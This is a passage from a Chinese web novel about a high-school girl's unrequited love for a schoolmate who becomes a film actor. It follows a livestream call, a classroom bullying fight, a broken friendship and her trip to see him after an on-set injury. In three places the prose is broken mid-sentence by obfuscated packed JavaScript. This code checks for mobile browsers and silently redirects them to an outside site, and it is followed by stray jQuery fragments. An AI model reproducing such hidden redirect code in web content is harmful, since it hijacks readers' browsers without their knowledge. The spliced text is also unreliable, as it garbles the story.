或许是因为每个16岁少女的青春里,都必须有一个穿白衬衫的少年,所以在开学大半个月后,新生里出现了一个男生在贴吧新一届校草比赛中拔得头筹。 她们说他很像李纵,是同一个类型的干净明朗的少年。 某天孟寻被温渺渺强行拉着去了一趟高一看这位新的校草。 见过了李纵,珠玉在前,那个叫“俞樾”的男生并没能让她一眼惊艳。 温渺渺说:“贴吧上说的是真的诶,这个学弟跟李纵学长乍一看还挺像的。” 孟寻语气无比认真地反驳:“不像。” 他就是他。 没有人像他。 - 时间一天天缓慢流过,从夏天进入秋天再到冬天。 不知从哪天开始,当孟寻走在学校每个角落,再也听不见女孩们红着脸小声议论那个名字。号称他头号粉丝的温渺渺,慢慢地不再提起他。 就连容霆的微博提到“李纵”的次数也在逐渐地减少。她就这样失去了最后一个了解他近况的渠道。 他真实的存在过吗? 似乎更像是一场高烧时昏昏沉沉产生的幻觉。 烧退以后,所有人都清醒了继续往前,只有她一个人还站在原地,固执地淋着那场六月的雨。 明明还是很喜欢他,一天比一天更喜欢,明明都说日有所思、夜有所梦的,但他却越来越少光临她的梦境。 某天当孟寻试图想起李纵的脸,发现一切竟然都变得模糊起来。 于是她开始害怕,会不会真的有那么一天,自己会彻底记不起来那双漆黑眼睛? 有次经过篮球场的时候,眼尾余光中突然出现了那道熟悉的身影。 奔跑、跳跃、三步上篮。 鲜衣怒马,意气风发。 那一秒,她心跳骤停,大脑只剩狂喜。 激动到眼泪瞬间夺眶而出。 可当少女亮晶晶、湿漉漉的眼仔细看向场上那个人时,一盆冷水却无情地浇了下来,淋得她全身湿透,如坠冰窟浸入骨髓的冷。 不是他。 只是一个身形轮廓和他有一点点相似的男生。 在这之后,类似的事情越来越频繁地发生。多数时间是在校内,但有时也会在校外。 比如过马路的时候,会不自觉跟着背影和他很像的男生,走很远的路。 再比如逛商场的时候,会无意识盯着擦身而过和他一样穿黑色卫衣的男生。 就连走在路上,忽然听见身后和他音色有一点点相似的声音,都会下意识地愣住许久,回过神来心脏闷闷的疼。 人来人往中,那么多人和他相像,也许是身形,也许是背影,也许是眼睛,也许是声音…… 但那么多张脸,却没有一个是他。 每一次巨大的惊喜之后,迎来的是更为猛烈的失落感,一次又一次将她拽入更为黑暗的深渊。 - 十二月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一场危机就这么悄无声息化解了,孟寻却一点都笑不出来。 从此以后,她可以光明正大将他的名字写进日记里,可以大大方方把他的照片设为桌面壁纸,可以和所有人说“我喜欢他”。 不会有任何一个人将这份感情当真,也不会有任何一个人知道这是一个少女永远无法窥得天光的暗恋,他们只会把这当成青春期小女孩对明星的崇拜与迷恋。 只有她知道,两者完全不一样。 不一样的。 客厅里大人们还在说说笑笑。 孟寻沉默着回到房间,将门反锁。 她从衣柜里取出那件去年冬天来临的时候他递过来的校服外套,抱在怀里,低头嗅着上边残留的那股干净又温暖的气息,属于他的气息。 可是时间已经过去得太久了,香味变得很淡很淡,几乎快闻不到了。 视线朦胧,她慢慢靠着门板蹲下身去,瘫坐在地,双手抱住膝盖,把头埋进手臂里。 而后无声哭了出来。 怎么办呢? 李纵。 我已经思念到,快要疯掉了。 12. moon 从2013迈入2014的那一个晚上,时隔半年多,李纵终于再一次出现在容霆的微博里—— @唐僧洗头用拉芳:过生,和北哥飞了六个小时横跨大半个中国来找我们少爷喝酒~话说大半年没见,他还是那么帅迷倒万千少女,怎么贫僧我却沧桑了这么多?[苦涩][泪][悲伤] 点开配图,是李纵的侧影。 四周一片乌漆麻黑,只有远处路灯一点点昏黄的光,马路上空旷无人,他穿着黑色冲锋衣,竖起的领口抵着下颚,头发有些长了挡住眉眼,辨不清眼底神色。 只有很熟悉他的人,才能看出来照片上的人是谁。 孟寻默默点了保存,放进命名为“LZ”的相册。 没过多久,《风过檐铃》放出了第一支预告,出品方宣布这部电影定在2014年2月14日全国上映。 短短三分钟的视频,她反反复复看了百来遍,看到他的每一句台词都能倒背如流,最后将有他的每一帧画面都截图保存了,依旧是放进那个相册。 寒假的时候,孟寻被温渺渺拉着出来逛商场,在门口看见了《风过檐铃》的宣传海报。 海报下围了不少小女生,她们也跟着驻足。 “哇,这张照片把我们李纵学长拍得好好看啊!”温渺渺凑到她耳边小声说道:“真想把它偷回去贴在床头,这样就能天天看着李纵学长睡觉了嘿嘿。” 孟寻眼睫轻颤了下,紧紧咬着下唇,拼命压抑着想要当场将那张海报撕下来占为己有、不让其他任何人看到的冲动。 电影上映那天刚好也是元宵节。 一大清早,陈女士就催着丈夫起床洗漱,“孩子她爸你快点,别磨磨蹭蹭的!” 老孟打了个呵欠,敢怒不敢言:“这不还早嘛,急什么?” “还不是因为你宝贝女儿。她喜欢的明星,一个叫李什么的,他主演的电影今天上映,听说前100个买票进场的会送神秘小礼物,去晚了就没有了,哎呀少废话了你赶紧的吧!” “切,什么明星,他能有我年轻的时候帅?” “呵。”陈女士翻了个大大的白眼,“那男孩又高又白又帅,和你年轻那会矮黑土壮的可不一样,在看男人的眼光这一点上,我得承认咱们女儿是比我强多了。” 老孟立马回击:“哼,你们女人就是肤浅,只知道看脸!长得帅顶个屁用!我告诉你,人品好才是最重要的!” 夫妻俩越吵越起劲,最后还来找她评理。 孟寻:“……” 一家三口在九点钟准时来到了电影院。 孟寻从工作人员手里拿到了所谓的神秘小礼物,是电影剧照明信片,有两款可选,上边分别印有男女主角的签名。 她选了有李纵签名的那款。 电影时长有两个半小时。 整个故事非常文艺,晦涩难懂,大段大段的长镜头看得让人有些不知所云。男女主角无论是长相还是演技都很青涩,台词水平很差。 唯一的优点是光影拍得很朦胧唯美,每一帧画面都特别适合截图下来作为桌面壁纸。 而若要孟寻说,这部电影最让她满意的地方,一定是—— 提心吊胆一直看到最后都没有出现谣传的吻戏情节。 最大尺度的一场戏,是女主角“铃”俯身想要偷亲伏在收银台睡着的男主角“风”,却在她唇瓣即将触碰到他侧脸的一瞬,被突然闯入的男二号给打断了。 接着镜头拉近,给了“风”一个漆黑眼睫轻轻颤动的特写。 在他靠近右边眼尾的下面有一颗很小很小的朱砂痣,衬得肤色更加苍白,为他清冷的气质增添了几分破碎感。 尤其当“铃”离开后,他睁开眼来,眼底闪着泪光,眼尾一秒泛红,整个人忧郁又脆弱。 大屏幕上出现这一幕时,孟寻听见了前后左右女孩们难掩激动的吸气声。 电影散场,两个女生手挽手从她身边走过: “这什么烂片啊,无聊死了,要不是冲着男主那张脸,一分钟我都待不下去。” “我也没看懂这电影到底想表达什么,不过中间男主不告而别那场戏真的有打动到我了,这个男生有一双很会爱人的眼睛诶。” 回家后,孟寻上网一搜,网上也是抱怨“看不懂”的差评居多。 不过可能因为是在春节档上映的,所以这部电影最终的票房成绩还算喜人。 而李纵也凭着这部作品,以演员的身份正式进入了大众视野,积累了第一批粉丝。 同年四月,李纵被一家业内知名的娱乐公司正式签约成为他们旗下艺人,在经纪人的要求下开通了个人微博,并很快有了属于他的粉丝后援会。 李纵以“演员”这一身份发布了第一条微博的那天,孟寻刚刚发出的一句“我会一直支持你”,瞬间就被淹没在无数条不断刷新的评论里。 别说他会不会看到,就连她自己后来都找不到那条评论了。 那一刻孟寻终于明白,原来这才是世界上最遥远的距离。 他成了演员李纵。 而自己,只是他无数粉丝中普普通通毫不起眼的一个。 他们之间隔着人山人海。 再不会有任何交集了。 - 2014年的夏天,也是严格意义上孟寻最后一个以“高中生”身份度过的暑假。 那一年,随着一部由某款仙侠类单机游戏剧情改编的古装剧在各大电视台的热播,风靡全国中小学生圈子,国产剧开始有了“古偶”这一概念,从这以后东方玄幻仙侠类的影视作品逐渐占据了古装剧的大壁江山,也成为一众小花小生爆火成为流量的证道必经之路。 六月下旬,男频大热的修真小说《问剑》官宣影视化。 彼时在网络上男主人选呼声最高的两个男演员,一个是顾繁阳,童星出道,一路稳扎稳打,一个是程澈,选秀出道,以粉丝氪金能力超强闻名。双方的粉丝为了“谁才是书中走出来的萧灵舟”争得头破血流。 最后是顾繁阳拿到了《问剑》男主角“萧灵舟”这一角色。这下两家粉丝彻底结了仇,从此开启了长达十年无休止的骂战。 几乎没有多少人注意到,演员名单上,是“李纵”拿到了男六号“百里司星”这个角色。 依然是在七月初,李纵进组。 出品方对《问剑》这部戏十分看中,才刚开拍不久,就马不停蹄为演员们安排了一场又一场的直播来宣传预热。 李纵虽说只是男六号,也被安排了一场语音直播。 那天晚上,距离直播开始还有两个小时,孟寻早早就守在了手机前。 面前桌上除了她自己的手机,还有她家老孟和陈女士的手机。三台手机都提前下载安装了直播app,注册好账号。 八点钟,李纵准时开始了直播。 直播间瞬间涌进了几千个人。 对于洛川一中的“李纵”而言,这样已经算得上浩浩荡荡。但作为“演员李纵”来说,相比其他同事直播间的热闹景象,他这里的人气可谓十分惨淡。 首先是常规的自我介绍环节:“大家好,我是演员李纵,在《问剑》这部剧中饰演“百里司星”这一角色,非常感谢屏幕前的你今晚能够来到这里……” 孟寻能够感觉到,李纵似乎有些紧张。 于是她也不由自主跟着屏住呼吸。 接着就是问答环节。 主持人抛出了十几个和《问剑》有关的问题,李纵都一一滴水不漏地回答了。 最后两个问题是关于他本人的—— -“可以和直播间的粉丝朋友们分享一下,你是因为什么走上了演员这条路吗?” “挺偶然的。”李纵轻笑了下:“姜导在网上无意间刷到了我的照片,找到了我,给了我一个机会,我非常感谢他。” -“如果不做演员,你有想过自己会做什么吗?” 李纵沉默了许久,久到直播间的观众都开始怀疑自己是不是掉线了。 他终于回答:“还是做李纵吧。” “就这么简单吗?”主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470230|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持人对这个答案明显不怎么满意。 但李纵似乎不愿在这个问题上多说什么:“嗯。” 终于来到粉丝连线环节。 孟寻紧张地盯着手机屏幕,内心不断祈祷着上帝赐给她一点好运,呼吸急促,掌心湿漉漉的。 伴随一轮又一轮的系统随机抽选,她的心一次又一次提到了嗓子眼,却始终没有听见主持人念出她的id。 只能听着被抽中的粉丝们和他聊天。 他说最近横店好热,房间空调坏掉了,怕风扇声音太大影响直播所以没开,现在后背上全是汗。 他说为了上镜好看,这一阵子都在吃减脂餐,很想念母校食堂的黄焖鸡米饭:“香辣的汤汁淋在热腾腾的大白米饭上,想想就很满足。” “……最后一个名额了,让我们来看看,这个幸运儿究竟会是谁呢?”主持人故意顿了下,吊足大家的胃口。 经过前面那么多次的希望落空,这一次孟寻已经不报任何期待。 然而上帝偏偏喜欢和她开玩笑,就在下一秒,手机里头传来主持人的声音:“这位运气爆棚的粉丝,她就是,寻寻觅觅走走停停。” id被念出的一瞬,手机“啪”一下摔到地上,屏幕瞬间碎裂开了。 她心跳骤停,不可置信瞪大了眼。 主持人:“那么接下来,就让我们开始今晚的最后一次粉丝连线吧。” 孟寻回过神来,手忙脚乱蹲下身去捡起手机,几乎是同一时间,手机屏幕上跳出提示:【主播“李纵”当前向您发起了语音通话,“接受”or“拒绝”】 她手指不受控颤抖着。 但不知是手心出汗了还是屏幕坏了,点了好几下绿色的方框,都没有反应。 完了。 她只觉头顶上方天塌了下来,整个人被巨大的绝望笼罩。 “这位粉丝已经不在咱们的直播间了吗?”主持人停顿两秒:“那我们重新再抽选另一位粉丝好了。” 这时李纵忽地开口:“再等她一分钟吧。” 孟寻急得眼泪都掉下来了。 胡乱把手往衣服上蹭了蹭,又继续用手指头拼命戳着屏幕。 视线模糊之际,手机里头突然传来清冷的一声:“喂——” 孟寻心跳蓦地漏掉一拍,听见对方继续说道:“你好,我是李纵。” 她带着哭腔:“你、你好。” 主持人一下笑了:“看来这位小妹妹是真爱粉,和你说话她真的很激动呢。” 许是错觉,李纵的声音比刚才温柔了些:“不用紧张,你慢慢说,不着急。” 要说什么呢? 隔着碎裂的手机屏幕,耳边男人的呼吸是那样的清晰,好像就在她的身后。 孟寻大脑一片空白,好像有一团湿润棉花堵在喉咙那里,连一个音节都发不出来。 漫长的沉默声中,主持人和直播间的其他观众都开始失去耐心。 主持人催促道:“时间差不多要结束了哦。” 要结束了…… 电光火石之间,孟寻猛地站了起身,对着手机那头不带一点停顿的迅速说完:“加油,我相信你一定会大火的。” 李纵一愣,随即腼腆地笑了:“谢谢,我会努力的,你也要加油!” 明明知道他根本看不见,孟寻还是拼命地用力点头:“嗯。” “那么,这位,”李纵顿了下,似乎在看她的id,然后认真而郑重地说道:“小寻同学,拜拜。” “嗯。”孟寻握紧手机哽咽道:“拜拜。” 挂断电话,李纵和直播间的大家又说了“拜拜”,才结束了这场直播。 手机屏幕亮光倏地熄灭,世界陷入一片昏暗之中。 少女呆呆地坐着,许久都没有回过神来。 隔天,孟寻想方设法把这场直播的回放音频拷贝到了电脑里。 她在狭小昏暗的房间里,反复听着那段录音,做完了一张又一张试卷,度过了一个冗长、燥热难耐、有他的孤独又安心的夏天。 13. dream 八月底搬进了高三教学楼。 那一年学校换了领导班子,本来文科生一直都是在迎朝楼的,这一届却被安排到了中明楼。孟寻所在的文七班正好就在李纵曾经待过的教室。 以“高三生”身份从教室前门进来的第一天,孟寻站在门口很久,看着昏暗狭小的教室渐渐地被光照亮,坐满了人,一粒粒细小尘埃在泛着书本油墨香气的空气中浮动,一时间恍若隔世。 教室最后一排靠窗的位置,坐着的是他们班仅有的七个男生里个子最高的一个,叫周贤学,是个刚从外地转来的艺术生。 高瘦,白净,漆黑头发,桃花眼,同样也有一张十七岁少年忧郁的侧脸。 孟寻坐在最前一排,埋着头写着好像永远都做不完的数学卷子,时常会幻想着李纵就在自己身后。 教室最后一排靠窗那个位置上,不是周贤学,而是李纵。 每每这样一想,就会突然的全身充满力气。 高三真的很苦。 早上天还没亮就起来了,迷迷糊糊站在镜子前,一边刷牙一边背着贴满镜子便签上的英文单词,吃早饭的时间要用来看那本厚厚的作文素材。 七点钟到了教室,里边早已乌压压一片坐满了人,大家都睡眼惺忪,伏在桌上争分夺秒奋笔疾书,空气中充斥着速溶咖啡的味道,四周安静得可怕,只有书页翻动和圆珠笔在纸上走过刷刷的声响。 一天八节课,从早到晚,没有一刻能停下来喘息。每个老师都把“你们现在就是人生中最关键的时候”挂在嘴边,甚至恨不得将这句话纹在每个人的脑门上。 每天走进教室,第一眼看见的就是教室后面黑板上那行红色大字:【多拿一分,干掉千人。】 每回看见,心脏都会不争气地颤一下。 多么害怕自己就是那个被干掉的倒霉蛋。 高三也是人生中睡眠质量最好的时候。 课间那一两分钟,无论周围多吵,趴到桌上就能秒睡。 忘记是谁说的“被窝是青春的坟墓”。 温渺渺打着呵欠说道:“迟早有一天,姑奶奶要在床头刻上我的墓志铭。” 孟寻:“?” 温渺渺咬牙切齿:“请勿打扰我的亡魂!” 为了节省时间,孟寻主动提出由走读变为住校,从此两个星期才能回一次家。 某次回家的时候,发现学校对面那家奶茶店的名字从“优优奶茶”变成了“幼幼奶茶”。听说是因为老板谈恋爱了,女朋友叫“幼幼”。 孟寻站在路口,看着老板指挥着工人们换上新的招牌,不由得感慨时过境迁,物是人非。 被温渺渺说这一年她变得更安静,也更容易伤感了,孟寻想,也许这就是长大了吧。 高三的时间过得很快。 一眨眼就进入2014年的尾声。 又到了平安夜。 因为周贤学的出现,文七班难得热闹了些,除了同年级的女生,还有很多高一、高二的学妹也过来给他送礼物。 如果是世俗意义上“漂亮”的女孩,他会笑着收下,并和对方交换联系方式。 如果是“普通”的女孩,则会被他毫不客气地羞辱一番。 孟寻上了个洗手间回来的时候,正好撞上一个胖胖的女孩哭着从教室前门冲了出来,和她擦身而过跑掉了。 进门后听见班上男生们正凑在一起笑着讥讽那个女孩: “这女的得有两百斤了吧,周哥真是好福气啊!” “卧槽,第一次见到这种肉装坦克,感觉她一屁股就能把我坐死了。” “其实把灯关了也不是不能凑合玩玩,我看她胸和屁股都挺大的,玩着肯定贼爽。” …… 作为男主角,周贤学一脸嫌弃:“长得跟猪一样,还有脸在这发骚,看一眼她我就想吐,今天的午饭都不用吃了。” 孟寻再也听不下去,一股火气直冲头顶,胸脯剧烈起伏着,她想也没想,直接冲了过去,抓起旁边桌上厚厚的词典对着周贤学那张脸用力砸了上去。 一切发生得太过突然,众人一下愣住,教室里顷刻间鸦雀无声。 好几秒后,周贤学才反应过来,当即推了她一把:“妈的!臭婊/子你疯了是吗?” 孟寻被推得一个踉跄,后腰猛地撞上了身后的桌角,疼得她瞬间脸色惨白。 “道歉。”她仰起脸来看着对方,神情固执而坚定,一字一句:“你们欠刚才那个女同学一句道歉。” 大家都十分惊讶,没想到这个平日里看着柔弱又安静的女孩,瘦小的身体里竟有这样的勇敢和倔强。 “呵,真搞笑,”周贤学指着她的鼻子:“我告诉你,别他妈以为自己是个女的,我就不敢动你,艹你妈的,女的我照样打!” 孟寻还没来得及开口,眼尾余光中一个熟悉的身影挤开重重包围冲上前去,一巴掌“啪”一下重重呼到了周贤学脸上: “王八羔子你吓唬谁呢?” 温渺渺转过头来,着急忙慌察看孟寻全身上下:“没事吧?他打你哪里了?” “没事。” 孟寻低头一看,才发现右边手肘关节不知何时擦破了皮,点点鲜红血珠冒了出来。 “都出血了!还说没事!” 温渺渺气得眼睛都红了,转身撩起袖子又冲了上去,将毫无防备的周贤学一下推到墙上,一手提起他的衣领,紧接着一拳又一拳对着他那张脸抡去: “狗东西!让你打我家孟孟!你死定了!姑奶奶我今天一定要打死你!去死去死!” 谁也没有料到,这样一个扎着双马尾、大眼睛忽闪忽闪的萌妹打起架来居然会如此凶猛,让周贤学这么一个一米八的男生都毫无还手之力,只能被压在地上双手紧紧护着脸哀嚎着。 围观的人都看得呆住了,一时之间谁也不敢上前去拦,生怕被无辜波及。 孟寻最先回过神来,赶紧上前试图将温渺渺从周贤学身上拉开:“渺渺!别打了!够了够了!” 可温渺渺此时此刻正在气头上,什么声音都听不见。她毫无章法,对着周贤学又是扯头发,又是拿指甲掐他肉: “服不服!王八羔子!姑奶奶我问你服不服!” 其实学生之间打架这回事,根本不看双方的体型和力量孰优孰劣,往往拼的是谁更加不要命。 不到两分钟,周贤学就扛不住哭了出来:“痛!痛痛痛!嘶!别打了呜,我服了呜呜,我服你了还不行吗?” 混乱中,不知是谁偷偷去通风报信了,教导主任很快赶了过来,将他们两人都带走了,这场闹剧才算结束。 经此一战,“温渺渺”这个名字在整个学校迅速传开,所有人都知道高三文八班有个能把男生打哭的暴力萝莉。 - 放学后,孟寻来到教务处。 距离温渺渺和周贤学被教导主任带到这里已经过去了一个多小时,始终没见他们出来。门紧紧关着,听不见里边的声音。 孟寻忐忑不安,来回踱步,害怕温渺渺会被学校处分,越想越自责,如果不是她一时冲动,好友也不会卷进这件事里。 但对于自己拿词典砸了周贤学这事,孟寻一点也不后悔。 厌恶班上那群男生,厌恶他们对女生bodyshame,厌恶他们肆无忌惮践踏一个女孩子最宝贵的真心。 永远都瞧不起他们。 孟寻突然想起那一年平安夜,李纵咳嗽得那么厉害,还是礼貌地对每一个女生都说了“谢谢”。 她那会有些不解,如今却明白了当时他的温柔与认真究竟有多么可贵。 那些喜欢过他的女孩,无论过去多少年,即便到了白发苍苍的那天,一定还会记得2012年那个平安夜吧。她们一定也永远都不会后悔自己曾经喜欢过这样的一个人。 见过的男生越多,孟寻越加确定李纵果然是最好的那一个。 她打开手机,不知第几次点进他的百度百科,看着他的照片发呆,浑然不觉身后有人靠近,直到头顶上方落下一道女声—— “你还在喜欢他啊?” 孟寻回头一看,是隋遇。 对方幽幽出声:“喜欢这样的人,会很辛苦的。” 但是,喜欢一个人,本来就是很辛苦的事情。 孟寻这样想着,没有开口。 这时温渺渺顶着一头乱糟糟的头发突然从两人中间冒了出来:“你们在说谁啊?什么喜欢?谁喜欢谁了?” “她跟李纵啊,”隋遇说:“怎么,你不知道?” 温渺渺瞪大了眼,一时没有控制住音量:“孟孟喜欢的人不是司钦北吗?什么时候变成李纵学长了?” “嘘!”孟寻慌忙用手捂住了对方的嘴。 “她一直喜欢的就是李纵啊,怎么可能会是司钦北那款?”隋遇用一种看白痴的眼神看着温渺渺:“也就你这傻子看不出来。” 温渺渺一下掰开孟寻的手:“孟孟,她刚刚说的是真的?” 孟寻不自在地别开了眼,“……嗯。” 温渺渺瞬间炸毛:“所以她早就知道了?只有我一个人傻傻的蒙在鼓里什么也不知道是吗?” 孟寻赶忙拉住温渺渺的手:“不是,渺渺你听我解释——” 可还没来得及说完,就被对方用力挣开了。 视线中,温渺渺红了眼圈:“孟寻你太过分了!我再也不会理你了!” - 女孩之间的友谊很奇怪。 自古以来,在男人撰写的文章里,它总是脆弱得不堪一击,甚至可以根本就不存在。他们写女人为了男人的恩宠抢破脑袋,横刀相对。他们一边歌颂自己如何讲义气,为兄弟两肋插刀,一边笑说女人哪懂友情,女寝四个人就能有三个群。 事实上,它也的确薄如蝉翼。 会介意很多小细节,会因为“和你共享秘密的第一个人不是我”而认为“原来你最要好的朋友不是我”,然后瞬间熄灭。 都说三角形是最稳固的结构。 可在友情中,却并非如此。 温渺渺单方面开启了自孟寻与她认识以来的第一次冷战。 具体表现在,温渺渺不会再在早读课后跑来七班后门口伸长了脖子找孟寻,强行塞来一个自己从家里带来的奶黄包或者茶叶蛋,不会再在课间短暂的几分钟拉着她一起去厕所或者下楼打热水,不会再在放学后拽着她去看帅哥并美其名曰“缓解学习压力”,不再一有机会就黏着她说个不停。 孟寻再迟钝也明白,这回温渺渺是真的生气了,也是真的会做到如她自己说的那样“再也不会理你了”。 这就是“绝交”的意思了吧? 她不敢想,也没有时间去想。 “高考”这座大山紧紧压在头顶,让人喘不过气,在它面前,似乎其他所有问题都可以暂时抛到一边。 少了温渺渺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470231|185541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一旁叽叽喳喳,高三更苦了。 孟寻不记得自己究竟做完了多少张卷子,用完了多少本草稿本和多少支晨光笔芯,只记得每天在晨曦中低下头去写题,再抬起头时外边竟然已经黄昏。一场又一场的考试接踵而至,还没来得及为上一张考完的卷子订正,下一张散发油墨香气的卷子又发了下来。 时间的流速太快,怎么也抓不住。而成绩单上的数字却上升得无比缓慢,年级排名总是徘徊在那个区间,几乎没有什么变动。 班主任每天都会叫人去走廊上谈心。 尤其是像孟寻这样偏科严重的。 “如果到了高考你的数学成绩还和这次月考一样,就上不了本科了,自己好好想想接下来得路怎么走吧。” 上不了本科,人生一定就会彻底完蛋了吧。 到了那时,又该怎么面对一直对自己抱有期待的爸爸和妈妈失望的眼神? 这种恐慌和愧疚,无时无刻折磨着她,让她不敢停下,甚至在多年之后,还是会让她从噩梦中猝然惊醒。 就这样一边努力着,一边又茫然着。 完全不记得从2014迈入2015那个晚上了。 2015年1月31日,距离放假还有一段时间,那天夜修时突然听见后桌女生惊呼出声:“天呐”,然后就听见了那个许久没有从别人口中听见过的名字—— 狗仔拍到,《问剑》剧组在拍摄一场高难度的动作戏时,工作人员没有拉好威亚,导致两个演员都从半空摔了下来。 其中一个就是李纵。 “……送医院了……骨折……说不定以后都站不起来……” 尽管她们说得特别小声,断断续续的并没能听得多么清楚,但从语气也能判断出来情况真的很严重。 一只大手猛地攥紧她的心脏,孟寻呼吸不上来,大脑一片空白。 四周所有声响全都消失了,偌大的教室好像只剩下她一个人,就连头顶上方灯管似乎都熄灭了。 她的世界陷入昏暗,万籁俱寂。 他受伤了…… 孟寻满脑子盘旋的只有这一个念头。 等回过神来,早已满脸是泪。 周围的同学都埋着头争分夺秒奋笔疾书,整间教室安静到只听得见书页翻动“沙沙”的声响。 白炽灯干燥光线折射进她的眼底,不断刺激着泪水继续分泌。 孟寻再也承受不住这样巨大的无助感,猛地站了起身。 冒着被教导主任拉去教务处批斗的风险,在这个所有人都必须呆在教室做题的时间,不顾一切冲出了这座牢笼。 在操场上狂奔。 一圈又一圈。 怎么办? 她该怎么办? 跑到筋疲力尽,跌倒在地,手心被粗粝沙子磨破了皮,鲜红血珠冒了出来。 眼泪都流干了。 却还是想不出任何解决的办法。 视线落在远处被紧紧关上的学校大门,心头突然涌上一股强烈的冲动。 她要见他。 只有亲眼见到李纵,自己这颗心才能落回原来的位置。 尖锐指甲陷入掌心,不断渗出的汗让伤口更疼,孟寻却浑然不觉。 她捂着胸口,拼命强迫自己快速冷静下来。 短暂的几秒钟里,已经想到了该用什么理由和怎样的语气和值班老师请假。 孟寻擦干眼泪来到办公室找老师,用生病这个理由顺利拿到了出校门的假条。 而后以最快的速度回了一趟宿舍拿钱,临走之前心念一动,从衣柜里取出了那件原本属于李纵的校服外套。 下楼时竟然碰到了温渺渺。 尽管急着出校,尽管她们也许已经不算朋友,孟寻还是停下脚步: “你——” 温渺渺单刀直入:“你要去找他,对吧?” 孟寻一下怔住,不知道一向大大咧咧的她究竟是怎么猜到的。 “……刚才看见你在操场,”温渺渺不自在地别开了眼,“搜了下微博就知道了。” 孟寻轻轻点了下头:“嗯。” “横店那么远……”温渺渺从裤兜里翻出来卷在一起皱皱巴巴的钱,强行塞到孟寻手里,“支付宝刚也给你转了,我所有的钱都给你,你——” 她顿了下,认真看向对方眼睛:“注意安全,有事就call我,我一直都在的。” 孟寻想说不用,可温渺渺根本不给她机会,说完就转身迅速跑了。 留下她一个人愣在原地。 孟寻回过神来,垂眼看着手里那一卷钱。好几张,红的绿的蓝的,里边还夹有硬币。 数了下,一共是一百九十六块七角。 温渺渺曾经说过,她妈妈一个星期固定给她50块,如果周末帮忙做家务一次会给10块。这些钱她除了用来吃甜食,还要用于买明星海报、唱片之类的,常常不够用。 记得两人还没闹别扭之前,温渺渺说自己从现在开始要节省开销,戒掉奶茶,攒钱等考完试后就去看演唱会。 所以这196.7元是温渺渺攒了很久很久的私房钱,是她的全部所有。 而现在,温渺渺把这些毫无保留都给了她。 孟寻又想哭了。 这一刻她忽然明白,在这个世界上,再没有比女孩之间的友谊更为坚固也最为可靠的东西。 她们永远是彼此最要好的朋友。 14. dream 这是孟寻人生中第一次独自出门远行。 从洛川到横店,要坐十几个小时的绿皮火车再转大巴。越往北走,温度下降得越快。 凌晨三点出发,到达时已经是傍晚五点。 走出火车站,凛冽北风扑面而来,仿若无数细密的冰针,扎得脸上刺疼,耳朵、鼻子被冻得通红,牙齿不自觉地轻颤。每一次张口,呼出的一团白烟随即就被冷风扯碎,吹散。冰冷空气顺着衣服与身体的缝隙往下游走,所到之处,迅速激起一片颤栗。 孟寻裹紧身上单薄的校服外套,顶着大风一边走一边在心里痛骂,就这玩意,学校是怎么好意思卖他们一套200块的? 冬季天黑很快,坐上去往横店的最后一班大巴车时,窗外一片漆黑。 一夜没有合眼,身体疲惫至极,孟寻再也撑不住了,脑袋靠着车窗,手里紧紧攥着身份证和身上仅剩的72块钱就这么睡了过去。 半梦半醒之间,听见车上乘客低低的模糊不清的说话声,却怎么也睁不开沉重眼皮。 梦境混乱而不安,眼前画面一会是李纵从空中重重摔落,一会是他躺在病床上昏迷不醒,一会是他走得很快,她拼命追赶,脚下地面却突然裂开一道缝隙,越来越大,将他们彻底分割成两个世界。 “别走!” 她哭喊着从梦中惊醒,一擦脸颊,手指湿漉漉的。 在医院门口下了车。 面对来往的人,少女眼底尽是茫然。 一时冲动就来了,根本没想过也不知道,他究竟在哪里。 也许早就离开横店了。 这回孟寻没有再像之前那样傻乎乎的一间一间病房去找,而是拦住了一个路过的看起来好说话的护士姐姐。 可她知道的实在有限,除了李纵的名字、《问剑》剧组、吊威亚受伤,其他的信息一概不知,嗫嚅了半天,才表达清楚自己的意图。 对方本来不应该告诉她的,但或许是看她实在可怜,还是好心指了个方向:“昨天下午送来的病人都在那边,你自己找找吧。” “谢谢!” 她赶紧朝着对方指的那栋楼跑去。 老天爷还是眷顾了她一回。 爬到第三楼时,看见了一间病房门口围了好几个女孩,一个个要么胸前挂着相机,要么肩上扛着“大炮”。 当时孟寻还不懂“追星”,不知道“接机”也不知道“探班”。只是从那些女孩兴奋又担忧的语气里敏锐地察觉到什么,倏地停下脚步。 她踮起脚往里看—— 病房里热闹得很。 一群人围着一个长得很眼熟的男人嘘寒问暖,有的给他递水,有的给他擦汗,而他坐在病床上,一手握着根笔,低头在一叠拍立得照片上飞速签名。旁边床头柜上堆满了各式各样的礼物。 她在大脑里搜寻了好一会才想起来,这个人就是《问剑》男主角“萧灵舟”的扮演者顾繁阳,童星出道,参演过很多家喻户晓的影视作品。 相比之下,隔壁那床冷冷清清。 隔着高低起伏那么多颗脑袋,她还是清晰地望见了那张熟悉的侧脸。 